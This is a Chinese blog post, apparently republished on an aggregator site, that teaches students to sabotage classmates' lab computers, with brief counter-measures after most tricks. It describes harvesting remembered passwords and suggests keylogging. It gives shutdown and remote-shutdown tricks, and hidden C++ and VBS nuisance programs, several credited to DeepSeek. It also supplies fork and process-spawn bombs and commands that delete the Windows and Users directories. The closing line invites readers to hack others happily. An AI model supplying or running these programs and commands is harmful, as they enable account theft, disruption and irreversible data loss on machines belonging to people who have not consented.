news 2026/9/12 11:52:42

浅谈机惨——从入门到精通

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
浅谈机惨——从入门到精通

警告

在这里看到的一切机惨方法,全是血淋淋的教训!请勿模仿!

若模仿,造成的一切后果,包括朋友断交,计算机损坏等,本文章不负任何责任!

前言

机惨,全名机房惨案,简称jc(取机惨拼音的两个首字母)或jfca()。定义非常简单,就是一位学生在另一位学生的计算机上干一些奇~~奇~~怪~~怪~~的事情。

账号机惨

1.评论区刷屏

难度:easy,伤害:≈0

在一些在线题库(例如洛谷)内一般都有评论区的功能,若是同学上厕所时忘记锁定账号,你就可以跑到ta的账号前,往ta的评论区里刷屏。

2.抄题解

难度:easy,伤害:小


3.获取密码

难度:easy,伤害:看你之后干什么(评论区刷屏还小,注销账号就大)

在ta的电脑上再新开一个浏览器,打开题库的登录界面,观察ta是否开启“记住密码”,若是,悄悄的把ta的账号和密码记住,接着……

附注:百度上有监听键盘获取密码的方法,作者暂时还不会,有需要者可自行搜索。

通用的反机惨方法:

离开自己的座位前,将所有账号锁定。

关机或重启

难度:easy,伤害:看人家的游戏代码多重要

1.老老实实的点

所有电脑均适用

反机惨方法:

电脑睡眠

2.win x u u

win+x,按两下u关机;一下u,一下r重启。(Windows10及以上使用)

反机惨方法:

仍然是电脑睡眠

3.shutdown -p

win+r,输入

shutdown -p

马上关机

好处:直接克制循环shutdown -a

反机惨方法:

还是电脑睡眠

4.长按电源键

可能某些要长按

反机惨方法:

摘自

机房安全防护策略:从物理到网络的六种防惨措施-CSDN博客文章浏览阅读1k次,点赞9次,收藏6次。讲解了JC_iakioihttps://blog.csdn.net/hjyowl/article/details/136808831

设置中搜索“控制面板”,或是win+r,输入

control

打开控制面板 ,

搜索“电源选项”//Windows基本都能用

找到电源选项-选择电源按钮的功能,//win10

控制面板\硬件和声音\电源选项\系统设置//win11,笔记本电脑

把所有选项改为“不关机”就好了。

5.拔插头

简单,粗暴,无法破解(如果电脑被卡死也只能这样)

反机惨方法:

祈求老师给主机和电源线弄个柜子
搞UPS(不间断电源)

除了搞好人际关系,没了!

延时关机/重启:

难度:medium,伤害:看人家的游戏代码多重要,附加一脸懵

在人家的电脑win+r,输入:

shutdown -s -t [延时秒数] -c [留言(可以是中文)]

解释:

如果将“-s”改为“-r”,重启。

Win11的样子

例子

shutdown -s -t 600 -c 你死定了

//600秒后关机,输出“你死定了”

就算是“关闭”也没用,到时间了还是关机

Win10的样子

例子2

shutdown -r -t 300 -c 你完了

//300秒后关机,输出“你完了”

反机惨方法:

win+r,输入:

shutdown -a

抑或是

#include <windows.h> #pragma GCC optimize(3) //三级(最高)优化 int main(){ while (1){ system("shutdown -a"); } return 0; }

远程关机:

第1种方法:shutdown

难度:hard,伤害:同样是看人家的游戏代码多重要,附加一脸懵

在被机惨的电脑上文件管理器中“此电脑”右键点击,点“属性”。

记下红圈内的东西。

自己电脑上键盘上win+r,或C:\Windows\System32\cmd.exe

在自己的计算机上cmd中输入 shutdown -i。

(红圈内需自己填写)

在“计算机”一栏填写刚刚看到的计算机全名,注释中随便写些东西,便可发出去。

反机惨方法:

cmd中输入“shutdown -a”,或开防火墙。

第2种方法:JiYuTrainer.exe

难度:hard,伤害:同样是看人家的游戏代码多重要,附加一脸懵

下载

打开后点击

(蓝框内需自己按下,红框内需自己填写)

反机惨方法:

杀掉极域或在自己的电脑上也装一个JiYuTrainer。

备注:

只有你的机房使用极域且你的电脑和TA的电脑在同一个局域网内才有用,

可以向TA发一些如“你的电脑将在1秒后关机”等的话(无实际杀伤,但如果你在1秒后点击“对方电脑关机”的话就有杀伤了)

vbs编程

难度:medium,伤害:≈0(不管它就好了),内存爆炸(重复打开)

首先创建一个txt文本

然后输入代码

do msgbox"***" loop

保存,然后把后缀.txt改成.vbs,打开。

(可以将“***”改为骂人的话(支持中文))

会弹出一个窗口,显示你在双引号内的字符,关不掉

或是

dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -s -t 60"

60秒后关机,反机惨方法与防远程关机一样

保存,然后把后缀.txt改成.vbs,打开。

反机惨方法:

win+r,输入

taskkill /f /t /im wscript.exe

桌面机惨

先打开某个应用(能全屏展示),将其调至全屏,用

win+Shift+s打开截屏//win10,11

PrtScn,复制进画图内,保存//win7

将整块屏幕截屏下来(包括任务栏),保存,对图片右键,改为桌面背景。

再用文件资源管理器(即为此电脑)找到

C:\Users\*****\Desktop

其中“*****”为用户名。

将里面的所有东西全删了。

(未测试,可能出问题)将Desktop目录删了。

这时电脑上显示的就是应用,但啥也干不了。

反机惨方法:

win+r,输入

C:\

或 explorer

打开文件资源管理器,先把它固定在任务栏,

再找到

C:\Windows\explorer.exe

将其先创建一个快捷方式在桌面上。

然后挨个找以下载软件的启动程序,将它们挨个创建快捷方式,放在桌面上。

百度安全验证https://baijiahao.baidu.com/s?id=1835046879906693191&wfr=spider&for=pc

纯恶作剧(无太大伤害)——DeepSeek生成

1.keybd_event();

#include <windows.h> int main() { while (true) { // 切换 NumLock keybd_event(VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY, 0); keybd_event(VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); // 切换 CapsLock keybd_event(VK_CAPITAL, 0, KEYEVENTF_EXTENDEDKEY, 0); keybd_event(VK_CAPITAL, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); Sleep(10); // 防吃CPU } return 0; }

编译并运行。

键盘的 NumLock 和 CapsLock 指示灯会交替闪烁。

反机惨方法:

win+r,输入

taskkill /f /t /im [程序名称].exe //不用管大小写

即可关闭程序

2.SetCursorPos(x,y);//全屏乱滑

#include<windows.h> #include<ctime> int main(){ while(1){ SetCursorPos(rand()%2000,rand()%1000); srand(time(114514)); } return 0; }

编译并运行。

原理:鼠标乱划。

反机惨方法:

win+r,输入

taskkill /f /t /im [程序名称].exe

即可关闭程序

3.BitBit();

#include <windows.h> int main() { HDC hdc = GetDC(0); int w = GetSystemMetrics(SM_CXSCREEN); int h = GetSystemMetrics(SM_CYSCREEN); while(1){ BitBlt(hdc,0,0,w,h,hdc,0,0,NOTSRCCOPY); Sleep(10); } ReleaseDC(0, hdc);//恢复原状 return 0; }

编译并运行。

原理:电脑频闪(负片效果)

反机惨方法:

这只是将显示器的输出改了,可正常关闭程序。

win+r,输入

taskkill /f /t /im [程序名称].exe

即可关闭程序

4.SetWindowsPos();

#include <windows.h> #include <cstdlib> #include <ctime> const int length=100;//晃动强度,越大越强 int main() { srand(time(0)); HWND hwnd = GetForegroundWindow(); RECT rect; GetWindowRect(hwnd,&rect); // 记录原始位置 int origX = rect.left; int origY = rect.top; while(true){ // 随机移动窗口位置 int x = origX + (rand()%length); int y = origY + (rand() % length); SetWindowPos(hwnd,NULL,x,y,0,0,SWP_NOSIZE|SWP_NOZORDER); Sleep(50); } // 恢复原位 SetWindowPos(hwnd, NULL, origX, origY, 0, 0, SWP_NOSIZE | SWP_NOZORDER); return 0; }

编译并运行。

原理:晃动窗口。

反机惨方法:

win+r,输入

taskkill /f /t /im [程序名称].exe

即可关闭程序

5.SetCursorPos(x,y)//鼠标抖动

#include <windows.h> const int length=10;//抖动强度,越大越强 int main(){ POINT p; while(1){ GetCursorPos(&p); SetCursorPos(p.x+(rand() %length-length/2),p.y+(rand()%length-length/2)); } return 0; }

编译并运行。

原理:鼠标抖动(区域内)。

反机惨方法:

win+r,输入

taskkill /f /t /im [程序名称].exe

即可关闭程序

6.SetSystemCursor(,);

#include <windows.h> #include <vector> int main(){ std::vector<LPCSTR> cursors = { IDC_ARROW, IDC_IBEAM, IDC_WAIT, IDC_CROSS, IDC_UPARROW, IDC_SIZE, IDC_ICON, IDC_SIZENWSE, IDC_SIZENESW, IDC_SIZEWE, IDC_SIZENS, IDC_SIZEALL, IDC_NO, IDC_HAND, IDC_APPSTARTING, IDC_HELP }; while(1){ HCURSOR hCursor=LoadCursor(NULL,cursors[rand()%cursors.size()]); SetSystemCursor(hCursor,32512); } return 0; }

编译并运行。

原理:随机改变光标样式。

反机惨方法:

因为只是改变了样式,功能未改变,可以正常关闭程序。

如果光标恢复不过来,见下文

警告

无论怎么退出,光标会保存你在退出前最后的光标样式,除非

//上面的头文件之类的不加了

SystemParametersInfo(SPI_SETCURSORS, 0, NULL, 0);

7.StretchBlt();

#include <windows.h> int main(){ HDC hdc = GetDC(0); int w = GetSystemMetrics(SM_CXSCREEN); int h = GetSystemMetrics(SM_CYSCREEN); while(1){ StretchBlt(hdc,0,h,w,-h,hdc,0,0,w,h,SRCCOPY); } ReleaseDC(0, hdc);//恢复 return 0; }

编译并运行。

原理:翻转屏幕。

反机惨方法:

因为只是翻转了,可以用鼠标使劲点原来的关闭位置,可以正常关闭程序。

抑或是老一套的

win+r,输入

taskkill /f /t /im [程序名称].exe

即可关闭程序

8.Beep(,);

#include <windows.h> #include <time.h> const int fast=100;//fast>=1,播放速度(毫秒) const unsigned sound_high=10000;//最高音高 const unsigned sound_low=100;//最低音高 int main(){ srand(time(0)); int sound; while(1){ sound=sound_low+rand()%sound_high; Beep(sound,fast); } return 0; }

编译并运行。

原理:播放一堆随机的蜂鸣声。

反机惨方法:

正常关闭程序(这个程序只是播放些奇怪的音而已)。

附注

任何代码都可以在main()下面第1行加

HWND console = GetConsoleWindow(); ShowWindow(console, SW_HIDE);//在桌面上看不到,但在任务管理器和cmd的tasklist上看到

神级操作(请勿模仿!)

1.%0|%0

建议一读(Windows的.bat命令)

DOS命令详解-CSDN博客文章浏览阅读2.2k次,点赞3次,收藏16次。目录脚本命令:1、@2、echo用法一:可以用它来显示信息!用法二:可以直接编辑文本文件。例六:3、::4、pause5、: 和 goto6、% 暂时搁置。。。。。。。。因为for循环1)%0 %1 %2 %3....%9 %* 2) %是个ESCAPE字符,通常将之译为转义字符。3) for循环中 》》》》》》》》》》》》》》》》》》》》》》..._%cd% ad -chttps://blog.csdn.net/CarryNet/article/details/85773105

难度:hard,伤害:毁掉内存

在对方的电脑上新建一个文本文档,输入 %0|%0 ,保存并退出,将文本文档后缀名改为 .bat

运行。

大约需要2分钟才能起效。

原理:

卡爆代码%0|%0原理详解-CSDN博客文章浏览阅读1.2w次,点赞14次,收藏31次。卡爆代码%0|%0原理详解_%0|%0https://blog.csdn.net/m0_74116287/article/details/128268006摘录:

在bat(批文件)文件中,%0表示批文件本身,|则表示“如果没有成功”

那么,代码的意思就是——

①运行批文件本身

②如果没有成功,执行①

但是访问批文件的次数太多,CPU就会暴涨,最后电脑黑屏或蓝屏,卡爆...

反机惨方法:

win+r,输入

taskkill /f /t /im cmd.exe

#include <bits/stdc++.h> #pragma GCC optimize(2) #pragma GCC optimize(3) using namespace std; int main(){ while (1){ system("taskkill /f /t /im cmd.exe");//关掉不会出问题 } return 0; }

然后马上删掉这个批处理程序。

或马上重启。

2.system("start ...");

惨烈版

难度:hard,伤害:毁掉CPU和内存

#include<windows.h> int main(){ while(1){ system("start [这个程序名称].exe");//可能要打绝对路径 //如system("start C:\\Users\\*****\\Desktop\\kill.exe");//注意反斜杠的用法 } return 0; }

编译并运行。

30秒后卡死。

原理:重复打开此程序,CPU和内存爆掉。

反机惨方法:

“taskkill /f /t /im [这个程序名称].exe”不够快,只能重启。

如果设置了开机自启的话:

尝试在启动时卡时间,马上在任务栏右键这个程序,点击“关闭所有窗口”。

中等版

难度:hard,伤害:毁掉CPU和内存

#include<windows.h> int main(){ while(1){ system("start cmd.exe");//可能要打绝对路径 //如system("start "C:\\Windows\\System32\\cmd.exe"");//注意反斜杠的用法 } return 0; }

编译并运行。

45秒后卡死。

原理:重复打开此程序,CPU和内存爆掉。

反机惨方法:

先把这个程序关掉,再处理其他的程序。

温和版

(虽然也温和不到哪去)

难度:hard,伤害:毁掉内存,老师看见会爆炸(仅限游戏或视频网站)

#include<bits/stdc++.h> using namespace std; int main(){ while(1){ system("start https://www.luogu.com.cn/"); //可以将“https://www.luogu.com.cn/”改为其他网址(最好是游戏网站) } } ​

推荐一些放进去的游戏或视频网站:

哔哩哔哩 (゜-゜)つロ 干杯~-bilibilihttps://www.bilibili.com/


Poki (宝玩) - 免费在线小游戏 - 马上玩!https://poki.com/zh

florr.iohttps://florr.io/

抖音https://www.douyin.com/

编译并运行。

60秒后卡死。

原理:重复打开网站,内存爆掉。

反机惨方法:

先把这个程序关掉,再处理一大堆网站。

3.cmd rd

警告:确认电脑装了冰点还原类软件再尝试!//就算装了也别试!

win+r,打开cmd,输入

rd /s /q C:\Users\

rd /s /q C:\Windows\

del /f /s /q C:\Users\

del /f /s /q C:\Windows

注意:del命令不删除文件夹

把Users或Windows目录删了,基本没人能用这台电脑了。。。(维修后除外)

反机惨方法:

赶紧关掉,尝试用冰点还原类软件(不确认极域可不可以)

如果真的炸了怎么办?

按电源键或拔插头。

欣赏一下

摘自浅谈机(J)惨(C)技巧——从入门到精通(?)_机惨-CSDN博客https://blog.csdn.net/robotlongtime/article/details/118654377

结语

希望大家在险恶的机房中能学会保护自己的电脑开心的黑掉别人的电脑

如有需要改进的地方或有更好的思路抑或是更险恶的机惨手段,欢迎评论及私信!将会马上添加进这篇文章里,并注明作者。

制作不易,望三连,谢谢!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/12 11:50:44

Unity资源管理进阶:YooAsset与Addressable对比及实践指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/12 11:49:19

Teable六级权限与技术响应实测:销售型CRM落地关键

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/12 11:49:14

glTF/glb:3D内容生态的高效传输与渲染格式

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/12 11:48:17

Python闭包与装饰器:原理、应用与深浅拷贝解析

1. Python闭包的本质与应用场景 闭包是Python中一个既基础又强大的概念&#xff0c;它完美体现了函数式编程的思想。我第一次真正理解闭包是在开发一个缓存系统时&#xff0c;当时需要让内部函数记住外部函数的变量状态&#xff0c;而闭包恰好提供了这种能力。 1.1 闭包的三要…

作者头像 李华
网站建设 2026/9/12 11:48:16

Hermes Agent 进化机制:状态迁移而非版本更新

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华